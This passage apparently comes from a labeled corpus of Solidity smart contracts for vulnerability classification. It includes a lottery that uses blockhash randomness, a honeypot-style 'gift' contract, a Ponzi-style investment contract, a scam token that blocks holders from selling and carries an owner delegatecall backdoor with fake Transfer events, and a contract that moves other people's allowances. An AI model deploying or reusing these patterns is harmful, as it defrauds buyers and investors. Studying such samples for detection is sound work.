games[GAME_NUM].members[i].prize = fund2 / winners2;
games[GAME_NUM].members[i].addr.transfer(games[GAME_NUM].members[i].prize);
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 2);
}
if(games[GAME_NUM].members[i].matchNumbers == 1) {
emit WinPrize(GAME_NUM, games[GAME_NUM].members[i].ticket, games[GAME_NUM].members[i].prize, 1);
}
}
if(winners5 != 0) {
JACKPOT = 0;
start_jackpot_amount = 0;
}
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 0;
emit NewGame(GAME_NUM);
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
return;
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && (weekday != 7 || (weekday == 7 && (hour < 8 || hour > 11 ))) ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(!err) {
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
games[GAME_NUM].members[mbrCnt].matchNumbers = 0;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length-1; i++) {
for(uint8 j = i+1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8(uint(blockhash(block.number - 1 - num*2)) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint, uint8, uint8, uint8, uint8, uint8, uint8) {
Game memory game = games[i];
return (game.datetime, game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.matchNumbers, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 610 |
pragma solidity ^0.4.19;
contract GIFT_1_ETH
{
bytes32 public hashPass;
bool closed = false;
address sender;
uint unlockTime;
function() public payable{}
function GetHash(bytes pass) public constant returns (bytes32) {return keccak256(pass);}
function SetPass(bytes32 hash)
public
payable
{
if( (!closed&&(msg.value > 1 ether)) || hashPass==0x0 )
{
hashPass = hash;
sender = msg.sender;
unlockTime = now;
}
}
function SetGiftTime(uint date)
public
{
if(msg.sender==sender)
{
unlockTime = date;
}
}
function GetGift(bytes pass)
external
payable
canOpen
{
if(hashPass == keccak256(pass))
{
msg.sender.transfer(this.balance);
}
}
function Revoce()
public
payable
canOpen
{
if(msg.sender==sender)
{
sender.transfer(this.balance);
}
}
function PassHasBeenSet(bytes32 hash)
public
{
if(msg.sender==sender&&hash==hashPass)
{
closed=true;
}
}
modifier canOpen
{
require(now>unlockTime);
_;
}
} | 0 | 570 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract WgdToken is StandardBurnableToken {
string public constant name = "webGold";
string public constant symbol = "WGD";
uint8 public constant decimals = 18;
uint256 constant TOTAL = 387500000000000000000000000;
constructor() public {
balances[msg.sender] = TOTAL;
totalSupply_ = TOTAL;
emit Transfer(address(0), msg.sender, TOTAL);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract DaonomicCrowdsale {
using SafeMath for uint256;
uint256 public weiRaised;
event Purchase(address indexed buyer, address token, uint256 value, uint256 sold, uint256 bonus, bytes txId);
event RateAdd(address token);
event RateRemove(address token);
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
(uint256 tokens, uint256 left) = _getTokenAmount(weiAmount);
uint256 weiEarned = weiAmount.sub(left);
uint256 bonus = _getBonus(tokens);
uint256 withBonus = tokens.add(bonus);
weiRaised = weiRaised.add(weiEarned);
_processPurchase(_beneficiary, withBonus);
emit Purchase(
_beneficiary,
address(0),
weiEarned,
tokens,
bonus,
""
);
_updatePurchasingState(_beneficiary, weiEarned, withBonus);
_postValidatePurchase(_beneficiary, weiEarned);
if (left > 0) {
_beneficiary.transfer(left);
}
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
) internal;
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokens
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256, uint256);
function _getBonus(uint256 _tokens) internal view returns (uint256);
}
contract Whitelist {
function isInWhitelist(address addr) public view returns (bool);
}
contract WhitelistDaonomicCrowdsale is Ownable, DaonomicCrowdsale {
Whitelist[] public whitelists;
constructor (Whitelist[] _whitelists) public {
whitelists = _whitelists;
}
function setWhitelists(Whitelist[] _whitelists) onlyOwner public {
whitelists = _whitelists;
}
function getWhitelists() view public returns (Whitelist[]) {
return whitelists;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(canBuy(_beneficiary), "investor is not verified by Whitelists");
}
function canBuy(address _beneficiary) constant public returns (bool) {
for (uint i = 0; i < whitelists.length; i++) {
if (whitelists[i].isInWhitelist(_beneficiary)) {
return true;
}
}
return false;
}
}
contract RefundableDaonomicCrowdsale is DaonomicCrowdsale {
event Refund(address _address, uint256 investment);
mapping(address => uint256) public investments;
function claimRefund() public {
require(isRefundable());
require(investments[msg.sender] > 0);
uint investment = investments[msg.sender];
investments[msg.sender] = 0;
msg.sender.transfer(investment);
emit Refund(msg.sender, investment);
}
function isRefundable() public view returns (bool);
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokens
) internal {
super._updatePurchasingState(_beneficiary, _weiAmount, _tokens);
investments[_beneficiary] = investments[_beneficiary].add(_weiAmount);
}
}
contract WgdSale is WhitelistDaonomicCrowdsale, RefundableDaonomicCrowdsale {
using SafeERC20 for WgdToken;
event Buyback(address indexed addr, uint256 tokens, uint256 value);
WgdToken public token;
uint256 constant public FOR_SALE = 300000000000000000000000000;
uint256 constant public MINIMAL_WEI = 500000000000000000;
uint256 constant public END = 1541592000;
uint256 constant STAGE1 = 20000000000000000000000000;
uint256 constant STAGE2 = 60000000000000000000000000;
uint256 constant STAGE3 = 140000000000000000000000000;
uint256 constant STAGE4 = 300000000000000000000000000;
uint256 constant RATE1 = 28000;
uint256 constant RATE2 = 24000;
uint256 constant RATE3 = 22000;
uint256 constant RATE4 = 20000;
uint256 constant BONUS_STAGE1 = 100000000000000000000000;
uint256 constant BONUS_STAGE2 = 500000000000000000000000;
uint256 constant BONUS_STAGE3 = 1000000000000000000000000;
uint256 constant BONUS_STAGE4 = 5000000000000000000000000;
uint256 constant BONUS1 = 1000000000000000000000;
uint256 constant BONUS2 = 25000000000000000000000;
uint256 constant BONUS3 = 100000000000000000000000;
uint256 constant BONUS4 = 750000000000000000000000;
uint256 public sold;
constructor(WgdToken _token, Whitelist[] _whitelists)
WhitelistDaonomicCrowdsale(_whitelists) public {
token = _token;
emit RateAdd(address(0));
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(_weiAmount >= MINIMAL_WEI);
}
function getRate(address _token) public view returns (uint256) {
if (_token == address(0)) {
(,, uint256 rate) = getStage(sold);
return rate.mul(10 ** 18);
} else {
return 0;
}
}
function buyback() public {
(uint8 stage,,) = getStage(sold);
require(stage > 0, "buyback doesn't work on stage 0");
uint256 approved = token.allowance(msg.sender, this);
uint256 inCirculation = token.totalSupply().sub(token.balanceOf(this));
uint256 value = approved.mul(address(this).balance).div(inCirculation);
token.burnFrom(msg.sender, approved);
msg.sender.transfer(value);
emit Buyback(msg.sender, approved, value);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _getBonus(uint256 _tokens) internal view returns (uint256) {
return getRealAmountBonus(FOR_SALE, sold, _tokens);
}
function getRealAmountBonus(uint256 _forSale, uint256 _sold, uint256 _tokens) public pure returns (uint256) {
uint256 bonus = getAmountBonus(_tokens);
uint256 left = _forSale.sub(_sold).sub(_tokens);
if (left > bonus) {
return bonus;
} else {
return left;
}
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256, uint256) {
return getTokenAmount(sold, _weiAmount);
}
function getTokenAmount(uint256 _sold, uint256 _weiAmount) public view returns (uint256 tokens, uint256 left) {
left = _weiAmount;
while (left > 0) {
(uint256 currentTokens, uint256 currentLeft) = getTokensForStage(_sold.add(tokens), left);
if (left == currentLeft) {
return (tokens, left);
}
left = currentLeft;
tokens = tokens.add(currentTokens);
}
}
function getTokensForStage(uint256 _sold, uint256 _weiAmount) public view returns (uint256 tokens, uint256 left) {
(uint8 stage, uint256 limit, uint256 rate) = getStage(_sold);
if (stage == 4) {
return (0, _weiAmount);
}
if (stage == 0 && now > END) {
revert("Sale is refundable, unable to buy");
}
tokens = _weiAmount.mul(rate);
left = 0;
(uint8 newStage,,) = getStage(_sold.add(tokens));
if (newStage != stage) {
tokens = limit.sub(_sold);
uint256 weiSpent = (tokens.add(rate).sub(1)).div(rate);
left = _weiAmount.sub(weiSpent);
}
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount,
uint256 _tokens
) internal {
super._updatePurchasingState(_beneficiary, _weiAmount, _tokens);
sold = sold.add(_tokens);
}
function isRefundable() public view returns (bool) {
(uint8 stage,,) = getStage(sold);
return now > END && stage == 0;
}
function getStage(uint256 _sold) public pure returns (uint8 stage, uint256 limit, uint256 rate) {
if (_sold < STAGE1) {
return (0, STAGE1, RATE1);
} else if (_sold < STAGE2) {
return (1, STAGE2, RATE2);
} else if (_sold < STAGE3) {
return (2, STAGE3, RATE3);
} else if (_sold < STAGE4) {
return (3, STAGE4, RATE4);
} else {
return (4, 0, 0);
}
}
function getAmountBonus(uint256 _tokens) public pure returns (uint256) {
if (_tokens < BONUS_STAGE1) {
return 0;
} else if (_tokens < BONUS_STAGE2) {
return BONUS1;
} else if (_tokens < BONUS_STAGE3) {
return BONUS2;
} else if (_tokens < BONUS_STAGE4) {
return BONUS3;
} else {
return BONUS4;
}
}
} | 1 | 2,355 |
pragma solidity ^0.4.24;
contract TwelveHourRush{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 12;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x4c3B215a24fCd7dd34d4EDF098A5d8609FfEBD63;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(720);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 343 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract FriendlyShibaInu{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,333 |
pragma solidity ^0.4.25;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 1 | 3,970 |
pragma solidity ^0.4.16;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
